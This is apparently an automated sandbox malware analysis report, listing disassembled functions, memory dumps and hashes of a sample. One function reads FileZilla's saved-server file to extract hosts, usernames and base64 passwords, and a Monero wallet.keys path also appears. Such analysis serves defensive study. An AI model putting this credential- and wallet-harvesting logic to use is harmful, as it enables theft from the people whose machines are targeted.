Source File: 00000000.00000002.1298027178.0000000000CCE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A70000, based on PE: true

Associated: 00000000.00000002.1297776705.0000000000A70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000A71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000CBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000E58000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F33000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F6E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298376068.0000000000F6F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298508561.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298529738.000000000110B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a70000_file.jbxd

Yara matches

Similarity

API ID:
String ID: P{
API String ID: 0-277153622
Opcode ID: 71d2fa1c7cc079b532a2336bfa6d31c8f4764662ed5955f275fa9ab9a4ce4966
Instruction ID: 4bdb0ae63c397590f842715dd69440aa241849895920ab4a51c22754d51e4e93
Opcode Fuzzy Hash: 71d2fa1c7cc079b532a2336bfa6d31c8f4764662ed5955f275fa9ab9a4ce4966
Instruction Fuzzy Hash: 09513BF3E081145FE3056939DD597BA7ADADBA4330F2F463DE988D3784F93958054282

Function 00EC5881 Relevance: 1.4, Strings: 1, Instructions: 160COMMON

Download Yara Rule

Strings

u:, xrefs: 00EC596E

Memory Dump Source

Source File: 00000000.00000002.1298027178.0000000000E58000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A70000, based on PE: true

Associated: 00000000.00000002.1297776705.0000000000A70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000A71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000CBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000CCE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F33000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F6E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298376068.0000000000F6F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298508561.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298529738.000000000110B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a70000_file.jbxd

Yara matches

Similarity

API ID:
String ID: u:
API String ID: 0-2697468514
Opcode ID: c4ab98798dd85a89186df02ee6ae38baf90341f122a7179dbe031901a2751410
Instruction ID: 27512c137548df98037cc3ec7d18d817480b93a193418fe770b4aae49df77820
Opcode Fuzzy Hash: c4ab98798dd85a89186df02ee6ae38baf90341f122a7179dbe031901a2751410
Instruction Fuzzy Hash: 215147B390C2049BE708BA2D9C655BEB7E5EB94320F1A053DE9CA83740EA315811C783

Function 00D80C5F Relevance: 1.4, Strings: 1, Instructions: 114COMMON

Download Yara Rule

Strings

yWso, xrefs: 00D80C69

Memory Dump Source

Source File: 00000000.00000002.1298027178.0000000000CCE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A70000, based on PE: true

Associated: 00000000.00000002.1297776705.0000000000A70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000A71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000CBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000E58000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F33000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F6E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298376068.0000000000F6F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298508561.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298529738.000000000110B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a70000_file.jbxd

Yara matches

Similarity

API ID:
String ID: yWso
API String ID: 0-2275368643
Opcode ID: cceacbc661aeb05de6574cee43f44814c15b68df4a5f1dc99d639701ce804d53
Instruction ID: 53751a3bf329c515d8182f86230068e957975dc79d716f08645ecad7ae003d12
Opcode Fuzzy Hash: cceacbc661aeb05de6574cee43f44814c15b68df4a5f1dc99d639701ce804d53
Instruction Fuzzy Hash: DD31E7F3A082009FF305AD29DC857BBBBD6DBD4320F1AC53DD694C7784E93999018696

Function 00DAC598 Relevance: .3, Instructions: 259COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1298027178.0000000000CCE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A70000, based on PE: true

Associated: 00000000.00000002.1297776705.0000000000A70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000A71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000CBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000E58000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F33000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F6E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298376068.0000000000F6F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298508561.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298529738.000000000110B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a70000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2e3d58e8b2003363e4f5ed7a1c3918a681d4301846ea30d60dd4b2c2a6c929ad
Instruction ID: ca840b780b4fee2faed481c978d31fd5feb4ae4ae18c07779426115473fbab6d
Opcode Fuzzy Hash: 2e3d58e8b2003363e4f5ed7a1c3918a681d4301846ea30d60dd4b2c2a6c929ad
Instruction Fuzzy Hash: 708127F3A082109FE3445A2ADC8477AF7EAEFD4724F2B853EDA8497780D97548018692

Function 00D0B34D Relevance: .2, Instructions: 197COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1298027178.0000000000CCE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A70000, based on PE: true

Associated: 00000000.00000002.1297776705.0000000000A70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000A71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000CBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000E58000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F33000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F6E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298376068.0000000000F6F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298508561.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298529738.000000000110B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a70000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7bda07d0d3d50ecb13946e1e17a9abd60ff97dd357e7253f196b3b451ab5abdd
Instruction ID: fbb3372aee5998f92ca51aa7ec6fc9951d0e957df870cd7e097cb27b7d23587d
Opcode Fuzzy Hash: 7bda07d0d3d50ecb13946e1e17a9abd60ff97dd357e7253f196b3b451ab5abdd
Instruction Fuzzy Hash: C1513CF3A182045FE3509E7CDDC4766BADAEB84320F27463DEA84D3784E57988008692

Function 00D3BF5E Relevance: .2, Instructions: 182COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1298027178.0000000000CCE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A70000, based on PE: true

Associated: 00000000.00000002.1297776705.0000000000A70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000A71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000CBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000E58000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F33000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F6E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298376068.0000000000F6F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298508561.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298529738.000000000110B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a70000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 54b5eee4e8269cf97b5df799edd9d16f6ff46fb9e93a749ce145d1a7b5af94f4
Instruction ID: 1d6346677980a5895b270129054e060048d62b463cd4494adbafbafbcb4fdf9d
Opcode Fuzzy Hash: 54b5eee4e8269cf97b5df799edd9d16f6ff46fb9e93a749ce145d1a7b5af94f4
Instruction Fuzzy Hash: EC5116F3A0C6145BE3146A19EC45B6AB7E5EF94720F0B453DEAC893780EA3A59048787

Function 00D38DA2 Relevance: .2, Instructions: 180COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1298027178.0000000000CCE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A70000, based on PE: true

Associated: 00000000.00000002.1297776705.0000000000A70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000A71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000CBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000E58000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F33000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F6E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298376068.0000000000F6F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298508561.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298529738.000000000110B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a70000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1da585e0b9489e89afd1ea01f1c741f3cc1db1805f298e129bb97b5d51efa512
Instruction ID: 5f7d5c8885282ee82d1860094da7d8f0a1fd8ff1f88cb61d134395fa862a7df3
Opcode Fuzzy Hash: 1da585e0b9489e89afd1ea01f1c741f3cc1db1805f298e129bb97b5d51efa512
Instruction Fuzzy Hash: 075125F3E086045FF3086A2AEC5577AB7D6EBD4710F1B843DDB8887748E93988064286

Function 00D4F4BD Relevance: .2, Instructions: 166COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1298027178.0000000000CCE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A70000, based on PE: true

Associated: 00000000.00000002.1297776705.0000000000A70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000A71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000CBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000E58000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F33000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F6E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298376068.0000000000F6F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298508561.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298529738.000000000110B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a70000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bb34d34bc1ffdc57d5903cede6cf8f176aa32424f1479af48845b049779019c2
Instruction ID: dfdb17bb5dba5bd9290ed4e9e763cfe5eb25ad407e4549da1f9c69dd9b9a1b94
Opcode Fuzzy Hash: bb34d34bc1ffdc57d5903cede6cf8f176aa32424f1479af48845b049779019c2
Instruction Fuzzy Hash: 54418BF3B083045BF304697DDCC576AB6CADB94720F2A423DEB54D7784EC79A8064286

Function 00E32C3E Relevance: .2, Instructions: 161COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1298027178.0000000000CCE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A70000, based on PE: true

Associated: 00000000.00000002.1297776705.0000000000A70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000A71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000CBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000E58000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F33000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F6E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298376068.0000000000F6F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298508561.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298529738.000000000110B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a70000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4edf23c824f94fc44316b2559adaa8a856e8f1f04c1f61349cb2ab73da261adb
Instruction ID: 955b095077fb9e48e345e21b385719e18224379d00b2a9ed8b46bff458baa91d
Opcode Fuzzy Hash: 4edf23c824f94fc44316b2559adaa8a856e8f1f04c1f61349cb2ab73da261adb
Instruction Fuzzy Hash: 3051D7F3A086009FE7146E29DCC576AFBE5EB94320F1B4A3DD6C483784EA7858058787

Function 00A89750 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1297793080.0000000000A71000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A70000, based on PE: true

Associated: 00000000.00000002.1297776705.0000000000A70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000CBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000CCE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000E58000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F33000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F6E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298376068.0000000000F6F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298508561.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298529738.000000000110B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a70000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction ID: abbdd297b848902a35704da264ecc4a7d2e6ec457c67c65f9fa5c7ab4ebdfac4
Opcode Fuzzy Hash: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction Fuzzy Hash: 1EE04878A56608EFC740CF88D584E49B7F8EB0D720F1181D5ED099B721D235EE00EA90

Function 00A80250 Relevance: 68.6, APIs: 29, Strings: 10, Instructions: 366stringmemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00A8A740: lstrcpy.KERNEL32(00A90E17,00000000), ref: 00A8A788

Part of subcall function 00A88DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00A88E0B

Part of subcall function 00A8A920: lstrcpy.KERNEL32(00000000,?), ref: 00A8A972
Part of subcall function 00A8A920: lstrcat.KERNEL32(00000000), ref: 00A8A982

Part of subcall function 00A8A8A0: lstrcpy.KERNEL32(?,00A90E17), ref: 00A8A905

Part of subcall function 00A8A9B0: lstrlen.KERNEL32(?,006888B8,?,\Monero\wallet.keys,00A90E17), ref: 00A8A9C5
Part of subcall function 00A8A9B0: lstrcpy.KERNEL32(00000000), ref: 00A8AA04
Part of subcall function 00A8A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00A8AA12

Part of subcall function 00A8A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00A8A7E6

Part of subcall function 00A799C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00A799EC
Part of subcall function 00A799C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00A79A11
Part of subcall function 00A799C0: LocalAlloc.KERNEL32(00000040,?), ref: 00A79A31
Part of subcall function 00A799C0: ReadFile.KERNEL32(000000FF,?,00000000,00A7148F,00000000), ref: 00A79A5A
Part of subcall function 00A799C0: LocalFree.KERNEL32(00A7148F), ref: 00A79A90
Part of subcall function 00A799C0: CloseHandle.KERNEL32(000000FF), ref: 00A79A9A

Part of subcall function 00A88E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00A88E52

GetProcessHeap.KERNEL32(00000000,000F423F,00A90DBA,00A90DB7,00A90DB6,00A90DB3), ref: 00A80362
RtlAllocateHeap.NTDLL(00000000), ref: 00A80369
StrStrA.SHLWAPI(00000000,<Host>), ref: 00A80385
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00A90DB2), ref: 00A80393
StrStrA.SHLWAPI(00000000,<Port>), ref: 00A803CF
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00A90DB2), ref: 00A803DD
StrStrA.SHLWAPI(00000000,<User>), ref: 00A80419
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00A90DB2), ref: 00A80427
StrStrA.SHLWAPI(00000000,<Pass encoding="base64">), ref: 00A80463
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00A90DB2), ref: 00A80475
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00A90DB2), ref: 00A80502
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00A90DB2), ref: 00A8051A
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00A90DB2), ref: 00A80532
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00A90DB2), ref: 00A8054A
lstrcat.KERNEL32(?,browser: FileZilla), ref: 00A80562
lstrcat.KERNEL32(?,profile: null), ref: 00A80571
lstrcat.KERNEL32(?,url: ), ref: 00A80580
lstrcat.KERNEL32(?,00000000), ref: 00A80593
lstrcat.KERNEL32(?,00A91678), ref: 00A805A2
lstrcat.KERNEL32(?,00000000), ref: 00A805B5
lstrcat.KERNEL32(?,00A9167C), ref: 00A805C4
lstrcat.KERNEL32(?,login: ), ref: 00A805D3
lstrcat.KERNEL32(?,00000000), ref: 00A805E6
lstrcat.KERNEL32(?,00A91688), ref: 00A805F5
lstrcat.KERNEL32(?,password: ), ref: 00A80604
lstrcat.KERNEL32(?,00000000), ref: 00A80617
lstrcat.KERNEL32(?,00A91698), ref: 00A80626
lstrcat.KERNEL32(?,00A9169C), ref: 00A80635
lstrlen.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00A90DB2), ref: 00A8068E

Strings

browser: FileZilla, xrefs: 00A80559
password: , xrefs: 00A805FB
profile: null, xrefs: 00A80568
\AppData\Roaming\FileZilla\recentservers.xml, xrefs: 00A802A4
<Pass encoding="base64">, xrefs: 00A8045A
<User>, xrefs: 00A80410
<Port>, xrefs: 00A803C6
url: , xrefs: 00A80577
login: , xrefs: 00A805CA
<Host>, xrefs: 00A8037C

Memory Dump Source

Source File: 00000000.00000002.1297793080.0000000000A71000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A70000, based on PE: true

Associated: 00000000.00000002.1297776705.0000000000A70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000CBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000CCE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000E58000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F33000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F6E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298376068.0000000000F6F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298508561.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298529738.000000000110B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a70000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrlen$lstrcpy$FileLocal$AllocHeap$AllocateCloseCreateFolderFreeHandlePathProcessReadSize
String ID: <Host>$<Pass encoding="base64">$<Port>$<User>$\AppData\Roaming\FileZilla\recentservers.xml$browser: FileZilla$login: $password: $profile: null$url:
API String ID: 1942843190-555421843
Opcode ID: e1bbe6df27f975989d9fb715d64b34e34c8829d2a9be4d26f0474d3df55ad1ec
Instruction ID: ef897b688c5cacba4758e5e8c072cf042b97fdde7e232a3b7dae89897df704ed
Opcode Fuzzy Hash: e1bbe6df27f975989d9fb715d64b34e34c8829d2a9be4d26f0474d3df55ad1ec
Instruction Fuzzy Hash: 55D1FE71E00108ABDB04FBF4DE96EEE7778BF64340F544519F102A6091EF79AA0ACB61

Function 00A75960 Relevance: 40.7, APIs: 17, Strings: 6, Instructions: 495networkstringmemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00A8A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00A8A7E6

Part of subcall function 00A747B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00A74839
Part of subcall function 00A747B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00A74849

Part of subcall function 00A8A740: lstrcpy.KERNEL32(00A90E17,00000000), ref: 00A8A788

